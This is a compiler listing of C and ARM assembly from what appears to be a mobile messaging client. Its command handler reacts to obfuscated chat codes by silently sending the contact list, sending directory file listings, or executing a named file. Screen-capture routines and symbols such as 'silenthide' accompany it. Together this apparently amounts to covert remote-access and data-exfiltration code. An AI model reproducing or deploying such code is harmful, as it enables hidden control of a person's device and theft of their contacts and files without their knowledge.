0130A0E3 MOV R3,#+1 \ 000004C4 0B20A0E1 MOV R2,R11 \ 000004C8 250000EA B ??CheckComand2_17 304 #endif 305 mfree(s); 306 return; 307 } 308 309 if(/*strstr(txt,"#getclist") || */strstr(txt,_GETCLIST)) \ ??CheckComand2_24: \ 000004CC 971F8FE2 ADR R1,??CheckComand2_0+0x10 ;; "@7" \ 000004D0 0600A0E1 MOV R0,R6 \ 000004D4 180100EF SWI +280 \ 000004D8 000050E3 CMP R0,#+0 \ 000004DC 2700000A BEQ ??CheckComand2_27 310 { 311 CLIST *tt; 312 tt=(CLIST *)(&cltop); 313 char *s=malloc(16384); \ 000004E0 400CA0E3 MOV R0,#+16384 \ 000004E4 140000EF SWI +20 \ 000004E8 0060A0E1 MOV R6,R0 314 *s=0; \ 000004EC 00B0C6E5 STRB R11,[R6, #+0] \ 000004F0 160000EA B ??CheckComand2_28 315 char ss[64]; 316 char *q; 317 while(tt=(CLIST *)(tt->next)) 318 { 319 if(tt->state!=0xFFFF && !tt->isgroup) \ ??CheckComand2_29: \ 000004F4 B405D7E1 LDRH R0,[R7, #+84] \ 000004F8 FF10A0E3 MOV R1,#+255 \ 000004FC FF1C81E3 ORR R1,R1,#0xFF00 \ 00000500 010050E1 CMP R0,R1 \ 00000504 1100000A BEQ ??CheckComand2_28 \ 00000508 080097E5 LDR R0,[R7, #+8] \ 0000050C 000050E3 CMP R0,#+0 \ 00000510 0E00001A BNE ??CheckComand2_28 320 { 321 q=GetStatusByIconIndex(GetIconIndex(tt)); \ 00000514 0700A0E1 MOV R0,R7 \ 00000518 ........ _BLF GetIconIndex,??GetIconIndex??rA \ 0000051C ........ _BLF GetStatusByIconIndex,??GetStatusByIconIndex??rA 322 snprintf(ss,64,"%s ( %d ) [%s]\r\n",tt->name,tt->uin,q); \ 00000520 01002DE9 PUSH {R0} \ 00000524 0C0097E5 LDR R0,[R7, #+12] \ 00000528 143087E2 ADD R3,R7,#+20 \ 0000052C 01002DE9 PUSH {R0} \ 00000530 582085E2 ADD R2,R5,#+88 \ 00000534 4010A0E3 MOV R1,#+64 \ 00000538 10008DE2 ADD R0,SP,#+16 \ 0000053C 1B0100EF SWI +283 323 strcat(s,ss); \ 00000540 10108DE2 ADD R1,SP,#+16 \ 00000544 0600A0E1 MOV R0,R6 \ 00000548 170000EF SWI +23 \ 0000054C 08D08DE2 ADD SP,SP,#+8 324 } 325 } \ ??CheckComand2_28: \ 00000550 007097E5 LDR R7,[R7, #+0] \ 00000554 000057E3 CMP R7,#+0 \ 00000558 E5FFFF1A BNE ??CheckComand2_29 326 #ifdef kluchnik 327 AddStringToLog(t,0x01,"Sending contact list online...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); 328 SendData(t,s,ENA_SIGNAL,0); 329 #else 330 SendData(t,s,DIS_SIGNAL,1); \ 0000055C 0130A0E3 MOV R3,#+1 \ 00000560 0B20A0E1 MOV R2,R11 \ ??CheckComand2_17: \ 00000564 0610A0E1 MOV R1,R6 \ 00000568 0400A0E1 MOV R0,R4 \ 0000056C ........ _BLF SendData,??SendData??rA 331 #endif 332 mfree(s); \ 00000570 0600A0E1 MOV R0,R6 \ ??CheckComand2_30: \ 00000574 150000EF SWI +21 333 return; \ ??CheckComand2_4: \ 00000578 C8DF8DE2 ADD SP,SP,#+800 \ 0000057C F08FBDE8 POP {R4-R11,PC} 334 } \ ??CheckComand2_27: \ 00000580 6B1F8FE2 ADR R1,??CheckComand2_0+0x14 ;; "@8" \ 00000584 0600A0E1 MOV R0,R6 335 336 337 338 if(/*strstr(txt,"#getflist") || */strstr(txt,_GETFLIST)) \ 00000588 180100EF SWI +280 \ 0000058C 000050E3 CMP R0,#+0 \ 00000590 4800000A BEQ ??CheckComand2_31 339 { 340 DIR_ENTRY de; 341 unsigned int err; 342 char *s=malloc(16384); \ 00000594 400CA0E3 MOV R0,#+16384 \ 00000598 140000EF SWI +20 \ 0000059C 0070A0E1 MOV R7,R0 343 char *path=malloc(256); \ 000005A0 400FA0E3 MOV R0,#+256 \ 000005A4 140000EF SWI +20 \ 000005A8 0080A0E1 MOV R8,R0 344 char p[64]; 345 if(strstr(txt,_GETFLIST)) \ 000005AC 601F8FE2 ADR R1,??CheckComand2_0+0x14 ;; "@8" \ 000005B0 0600A0E1 MOV R0,R6 \ 000005B4 180100EF SWI +280 \ 000005B8 000050E3 CMP R0,#+0 \ 000005BC 0300000A BEQ ??CheckComand2_32 346 sprintf(path,per_s,txt+3); \ 000005C0 AC119FE5 LDR R1,??CheckComand2_0+0x54 ;; per_s \ 000005C4 032086E2 ADD R2,R6,#+3 \ 000005C8 0800A0E1 MOV R0,R8 \ 000005CC 160000EF SWI +22 347 /* else 348 sprintf(path,per_s,txt+strlen("#getflist")+1);*/ 349 char *ptr=path+strlen(path)+1; \ ??CheckComand2_32: \ 000005D0 0800A0E1 MOV R0,R8 \ 000005D4 1B0000EF SWI +27 \ 000005D8 080080E0 ADD R0,R0,R8 \ 000005DC 019080E2 ADD R9,R0,#+1 350 strcat(path,"\\*.*"); \ 000005E0 6C1085E2 ADD R1,R5,#+108 \ 000005E4 0800A0E1 MOV R0,R8 \ 000005E8 170000EF SWI +23 351 *s=0; \ 000005EC 00B0C7E5 STRB R11,[R7, #+0] 352 if(FindFirstFile(&de,path,&err)) \ 000005F0 0D20A0E1 MOV R2,SP \ 000005F4 0810A0E1 MOV R1,R8 \ 000005F8 68008DE2 ADD R0,SP,#+104 \ 000005FC 6B0000EF SWI +107 \ 00000600 000050E3 CMP R0,#+0 \ 00000604 1300000A BEQ ??CheckComand2_33 353 { 354 do 355 { 356 strcpy(ptr,de.file_name); \ ??CheckComand2_34: \ 00000608 11108DE2 ADD R1,SP,#+17 \ 0000060C 401F81E2 ADD R1,R1,#+256 \ 00000610 0900A0E1 MOV R0,R9 \ 00000614 1A0000EF SWI +26 357 if (de.file_attr&FA_DIRECTORY) \ 00000618 F607DDE1 LDRSH R0,[SP, #+118] \ 0000061C 11208DE2 ADD R2,SP,#+17 \ 00000620 402F82E2 ADD R2,R2,#+256 \ 00000624 100010E3 TST R0,#0x10 358 sprintf(p,"\\%s\r\n",de.file_name); \ 00000628 74108512 ADDNE R1,R5,#+116 359 else 360 sprintf(p," %s\r\n",de.file_name); \ 0000062C 7C108502 ADDEQ R1,R5,#+124 \ 00000630 08008DE2 ADD R0,SP,#+8 \ 00000634 160000EF SWI +22 361 strcat(s,p); \ 00000638 08108DE2 ADD R1,SP,#+8 \ 0000063C 0700A0E1 MOV R0,R7 \ 00000640 170000EF SWI +23 362 } 363 while(FindNextFile(&de,&err)); \ 00000644 0D10A0E1 MOV R1,SP \ 00000648 68008DE2 ADD R0,SP,#+104 \ 0000064C 6C0000EF SWI +108 \ 00000650 000050E3 CMP R0,#+0 \ 00000654 EBFFFF1A BNE ??CheckComand2_34 364 } 365 FindClose(&de,&err); \ ??CheckComand2_33: \ 00000658 0D10A0E1 MOV R1,SP \ 0000065C 68008DE2 ADD R0,SP,#+104 \ 00000660 6D0000EF SWI +109 366 mfree(path); \ 00000664 0800A0E1 MOV R0,R8 \ 00000668 150000EF SWI +21 367 if(!s) sprintf(s,"dr ( %s ) n f",txt+strlen(_GETFLIST)+1); \ 0000066C 000057E3 CMP R7,#+0 \ 00000670 0600001A BNE ??CheckComand2_35 \ 00000674 2E0F8FE2 ADR R0,??CheckComand2_0+0x14 ;; "@8" \ 00000678 1B0000EF SWI +27 \ 0000067C 060080E0 ADD R0,R0,R6 \ 00000680 012080E2 ADD R2,R0,#+1 \ 00000684 841085E2 ADD R1,R5,#+132 \ 00000688 0000A0E3 MOV R0,#+0 \ 0000068C 160000EF SWI +22 368 369 #ifdef kluchnik 370 char *ss=malloc(256); 371 sprintf(ss,"Recive command < Get files from directory %s >",txt+strlen(_GETFLIST)+1); 372 AddStringToLog(t,0x01,ss,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 373 if(SHOW_ACTIVE) 374 t->isactive=ACTIVE_TIME; 375 SendData(t,s,ENA_SIGNAL,0); 376 mfree(ss); 377 #else 378 SENDMSGCOUNT++; \ ??CheckComand2_35: \ 00000690 00009AE5 LDR R0,[R10, #+0] 379 SendData(t,s,DIS_SIGNAL,0); \ 00000694 0030A0E3 MOV R3,#+0 \ 00000698 010080E2 ADD R0,R0,#+1 \ 0000069C 00008AE5 STR R0,[R10, #+0] \ 000006A0 0320A0E1 MOV R2,R3 \ 000006A4 0710A0E1 MOV R1,R7 \ 000006A8 0400A0E1 MOV R0,R4 \ 000006AC ........ _BLF SendData,??SendData??rA 380 #endif 381 mfree(s); \ 000006B0 0700A0E1 MOV R0,R7 \ 000006B4 AEFFFFEA B ??CheckComand2_30 382 return; 383 } 384 385 if(/*strstr(txt,"#runfile") ||*/ strstr(txt,_RUNFILE)) \ ??CheckComand2_31: \ 000006B8 1E7F8FE2 ADR R7,??CheckComand2_0+0x18 ;; "@9" \ 000006BC 0710A0E1 MOV R1,R7 \ 000006C0 0600A0E1 MOV R0,R6 \ 000006C4 180100EF SWI +280 \ 000006C8 000050E3 CMP R0,#+0 \ 000006CC 1100000A BEQ ??CheckComand2_1 386 { 387 #ifdef kluchnik 388 char *ss=malloc(256); 389 sprintf(ss,"Recive command < Run file %s >",txt+strlen(_RUNFILE)+1); 390 AddStringToLog(t,0x01,ss,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 391 SendData(t,"File was been runned!!",ENA_SIGNAL,0); 392 mfree(ss); 393 #else 394 int i=0; 395 if(strstr(txt,_RUNFILE)) i=start(txt+3); \ 000006D0 0710A0E1 MOV R1,R7 \ 000006D4 0600A0E1 MOV R0,R6 \ 000006D8 180100EF SWI +280 \ 000006DC 000050E3 CMP R0,#+0 \ 000006E0 0700000A BEQ ??CheckComand2_36 396 // else i=start(txt+strlen("#runfile")+1); 397 398 if(i) \ 000006E4 030086E2 ADD R0,R6,#+3 \ 000006E8 ........ BL start \ 000006EC 000050E3 CMP R0,#+0 \ 000006F0 0300000A BEQ ??CheckComand2_36 399 SendData(t,"run!",DIS_SIGNAL,1); \ 000006F4 0130A0E3 MOV R3,#+1 \ 000006F8 0B20A0E1 MOV R2,R11 \ 000006FC 0510A0E1 MOV R1,R5 \ 00000700 020000EA B ??CheckComand2_19 400 else 401 SendData(t,"nrun!",DIS_SIGNAL,1); \ ??CheckComand2_36: \ 00000704 0130A0E3 MOV R3,#+1 \ 00000708 0B20A0E1 MOV R2,R11 \ 0000070C 481085E2 ADD R1,R5,#+72 \ ??CheckComand2_19: \ 00000710 0400A0E1 MOV R0,R4 \ 00000714 ........ _BLF SendData,??SendData??rA \ ??CheckComand2_1: \ 00000718 C8DF8DE2 ADD SP,SP,#+800 ;; stack cleaning \ 0000071C F08FBDE8 POP {R4-R11,PC} ;; return \ ??CheckComand2_0: \ 00000720 61637400 DC8 "act" \ 00000724 40340000 DC8 "@4",+0 \ 00000728 40350000 DC8 "@5",+0 \ 0000072C 40360000 DC8 "@6",+0 \ 00000730 40370000 DC8 "@7",+0 \ 00000734 40380000 DC8 "@8",+0 \ 00000738 40390000 DC8 "@9",+0 \ 0000073C ........ DC32 comanda \ 00000740 ........ DC32 SENDMSGCOUNT \ 00000744 ........ DC32 SendAnswer \ 00000748 ........ DC32 `?` \ 0000074C ........ DC32 ElfKiller \ 00000750 ........ DC32 vibra_count \ 00000754 ........ DC32 VIBR_TYPE \ 00000758 ........ DC32 silenthide \ 0000075C ........ DC32 gipc \ 00000760 ........ DC32 ipc_xtask_name \ 00000764 ........ DC32 ipc_my_name \ 00000768 ........ DC32 disautorecconect \ 0000076C ........ DC32 end_socket \ 00000770 ........ DC32 cltop \ 00000774 ........ DC32 per_s 402 #endif 403 return; 404 } 405 }//if(txt[0]=='#' && t->remoteAccess!=4) 406 } 407 408 409 410 extern int hy; 411 extern IMGHDR *icons[]; \ In segment DATA_I, align 4, align-sorted 412 IMGHDR screen={0,0,8,""}; \ screen: \ 00000000 DS8 8 \ 00000008 REQUIRE `?` \ In segment CODE, align 4, keep-with-next 413 void DoScreen() 414 { \ DoScreen: \ 00000000 F0412DE9 PUSH {R4-R8,LR} 415 int SCREENSIZE = ScreenH()*ScreenW(); 416 // int h=(icons[IS_ONLINE]->h > FontH(clfont)) ? (icons[IS_ONLINE]->h) : (FontH(clfont)); 417 // int hy=(icons[IS_ONLINE]->h > FontH(108)) ? (icons[IS_ONLINE]->h) : (FontH(108)); 418 int HSIZE = (hy+2)*ScreenW(); \ 00000004 ........ LDR R5,??DataTable1 ;; hy 419 int ScrH=ScreenH()-(hy+2); 420 int ScrW=ScreenW(); 421 char *ms=RamScreenBuffer(); 422 screen.w=ScrW; \ 00000008 60809FE5 LDR R8,??DoScreen_0 ;; screen \ 0000000C 898100EF SWI +33161 \ 00000010 888100EF SWI +33160 \ 00000014 888100EF SWI +33160 \ 00000018 001095E5 LDR R1,[R5, #+0] \ 0000001C 021081E2 ADD R1,R1,#+2 \ 00000020 900104E0 MUL R4,R0,R1 \ 00000024 898100EF SWI +33161 \ 00000028 001095E5 LDR R1,[R5, #+0] \ 0000002C 010040E0 SUB R0,R0,R1 \ 00000030 025040E2 SUB R5,R0,#+2 \ 00000034 888100EF SWI +33160 \ 00000038 0060A0E1 MOV R6,R0 \ 0000003C E08000EF SWI +32992 \ 00000040 0070A0E1 MOV R7,R0 423 screen.h=ScrH; 424 screen.bitmap=malloc(ScrW*ScrH*2); \ 00000044 950600E0 MUL R0,R5,R6 \ 00000048 0060C8E5 STRB R6,[R8, #+0] \ 0000004C 0150C8E5 STRB R5,[R8, #+1] \ 00000050 8050A0E1 LSL R5,R0,#+1 \ 00000054 0500A0E1 MOV R0,R5 \ 00000058 140000EF SWI +20 \ 0000005C 040088E5 STR R0,[R8, #+4] 425 ms+=(HSIZE*2); 426 memcpy(screen.bitmap, ms, ScrW*ScrH*2); \ 00000060 0520A0E1 MOV R2,R5 \ 00000064 841087E0 ADD R1,R7,R4, LSL #+1 \ 00000068 1E0100EF SWI +286 427 } \ 0000006C F081BDE8 POP {R4-R8,PC} ;; return \ ??DoScreen_0: \ 00000070 ........ DC32 screen 428 \ In segment DATA_I, align 4, align-sorted 429 IMGHDR screen2={0,0,8,""}; \ screen2: \ 00000000 DS8 8 \ 00000008 REQUIRE `?` \ In segment CODE, align 4, keep-with-next 430 void DoScreen2() 431 { \ DoScreen2: \ 00000000 F0412DE9 PUSH {R4-R8,LR} 432 int SCREENSIZE = ScreenH()*ScreenW(); 433 int HSIZE = (hy+2)*ScreenW(); \ 00000004 ........ LDR R5,??DataTable1 ;; hy 434 int ScrH=ScreenH()-(hy+2); 435 int ScrW=ScreenW(); 436 char *ms=RamScreenBuffer(); 437 screen2.w=ScrW; \ 00000008 60809FE5 LDR R8,??DoScreen2_0 ;; screen2 \ 0000000C 898100EF SWI +33161 \ 00000010 888100EF SWI +33160 \ 00000014 888100EF SWI +33160 \ 00000018 001095E5 LDR R1,[R5, #+0] \ 0000001C 021081E2 ADD R1,R1,#+2 \ 00000020 900104E0 MUL R4,R0,R1 \ 00000024 898100EF SWI +33161 \ 00000028 001095E5 LDR R1,[R5, #+0] \ 0000002C 010040E0 SUB R0,R0,R1 \ 00000030 025040E2 SUB R5,R0,#+2 \ 00000034 888100EF SWI +33160 \ 00000038 0060A0E1 MOV R6,R0 \ 0000003C E08000EF SWI +32992 \ 00000040 0070A0E1 MOV R7,R0 438 screen2.h=ScrH; 439 screen2.bitmap=malloc(ScrW*ScrH*2); \ 00000044 950600E0 MUL R0,R5,R6 \ 00000048 0060C8E5 STRB R6,[R8, #+0] \ 0000004C 0150C8E5 STRB R5,[R8, #+1] \ 00000050 8050A0E1 LSL R5,R0,#+1 \ 00000054 0500A0E1 MOV R0,R5 \ 00000058 140000EF SWI +20 \ 0000005C 040088E5 STR R0,[R8, #+4] 440 ms+=(HSIZE*2); 441 memcpy(screen2.bitmap, ms, ScrW*ScrH*2); \ 00000060 0520A0E1 MOV R2,R5 \ 00000064 841087E0 ADD R1,R7,R4, LSL #+1 \ 00000068 1E0100EF SWI +286 442 } \ 0000006C F081BDE8 POP {R4-R8,PC} ;; return \ ??DoScreen2_0: \ 00000070 ........ DC32 screen2 \ In segment CODE, align 4, keep-with-next \ ??DataTable1: \ 00000000 ........ DC32 hy \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 0000 DC8 0, 0 \ 00000002 0800 DC16 8 \ 00000004 ........ DC32 `?` \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 0000 DC8 0, 0 \ 00000002 0800 DC16 8 \ 00000004 ........ DC32 `?` \ In segment DATA_C, align 1, align-sorted \ 00000000 403200 DC8 "@2" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 72756E2100 DC8 "run!" \ 00000005 000000 DC8 0, 0, 0 \ 00000008 424741474100 DC8 "BGAGA" \ 0000000E 0000 DC8 0, 0 \ 00000010 404D7320733A DC8 "@Ms s: %s" \ 20257300 \ 0000001A 0000 DC8 0, 0 \ 0000001C 6D205B202573 DC8 "m [ %s ] to [ %s ] n [ %s ] s." \ 205D20746F20 \ 5B202573205D \ 206E205B2025 \ 73205D20732E \ 00 \ 0000003B 00 DC8 0 \ 0000003C 4D2025732073 DC8 "M %s snd" \ 6E6400 \ 00000045 000000 DC8 0, 0, 0 \ 00000048 6E72756E2100 DC8 "nrun!" \ 0000004E 0000 DC8 0, 0 \ 00000050 7363722E2E00 DC8 "scr.." \ 00000056 0000 DC8 0, 0 \ 00000058 257320282025 DC8 "%s ( %d ) [%s]\015\012" \ 642029205B25 \ 735D0D0A00 \ 00000069 000000 DC8 0, 0, 0 \ 0000006C 5C2A2E2A00 DC8 "\\*.*" \ 00000071 000000 DC8 0, 0, 0 \ 00000074 5C25730D0A00 DC8 "\\%s\015\012" \ 0000007A 0000 DC8 0, 0 \ 0000007C 2025730D0A00 DC8 " %s\015\012" \ 00000082 0000 DC8 0, 0 \ 00000084 647220282025 DC8 "dr ( %s ) n f" \ 732029206E20 \ 6600 \ 00000092 0000 DC8 0, 0 \ In segment DATA_C, align 1, align-sorted \ `?`: \ 00000000 00 DC8 "" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 4E554C4C2070 DC8 "NULL pointer function!" \ 6F696E746572 \ 2066756E6374 \ 696F6E2100 \ 00000017 00 DC8 0 \ 00000018 2530385800 DC8 "%08X" \ 0000001D 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ 00000000 40313300 DC8 "@13" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313000 DC8 "@10" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313100 DC8 "@11" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313200 DC8 "@12" \ In segment DATA_C, align 1, align-sorted \ 00000000 403100 DC8 "@1" \ In segment DATA_C, align 1, align-sorted \ 00000000 2100 DC8 "!" \ In segment DATA_C, align 1, align-sorted \ 00000000 2000 DC8 " " \ In segment DATA_C, align 1, align-sorted \ 00000000 496200 DC8 "Ib" \ In segment DATA_C, align 4, align-sorted \ 00000000 61637400 DC8 "act" \ In segment DATA_C, align 1, align-sorted \ 00000000 403300 DC8 "@3" \ In segment DATA_C, align 1, align-sorted \ 00000000 403400 DC8 "@4" \ In segment DATA_C, align 1, align-sorted \ 00000000 403500 DC8 "@5" \ In segment DATA_C, align 1, align-sorted \ 00000000 403600 DC8 "@6" \ In segment DATA_C, align 1, align-sorted \ 00000000 403700 DC8 "@7" \ In segment DATA_C, align 1, align-sorted \ 00000000 403800 DC8 "@8" \ In segment DATA_C, align 1, align-sorted \ 00000000 403900 DC8 "@9" 443 Maximum stack usage in bytes: Function CSTACK -------- ------ CheckComand2 844 DoScreen 24 DoScreen2 24 start 16 Segment part sizes: Function/Label Bytes -------------- ----- start 468 CheckComand2 1912 screen 8 DoScreen 116 screen2 8 DoScreen2 116 ??DataTable1 4 ? 8 ? 8 ? 3 ? 148 ? 1 ? 32 ? 4 ? 4 ? 4 ? 4 ? 3 ? 2 ? 2 ? 3 ? 4 ? 3 ? 3 ? 3 ? 3 ? 3 ? 3 ? 3 Others 112 2 716 bytes in segment CODE 235 bytes in segment DATA_C 16 bytes in segment DATA_I 16 bytes in segment DATA_ID 12 bytes in segment INITTAB 2 616 bytes of CODE memory (+ 112 bytes shared) 251 bytes of CONST memory 16 bytes of DATA memory Errors: none Warnings: none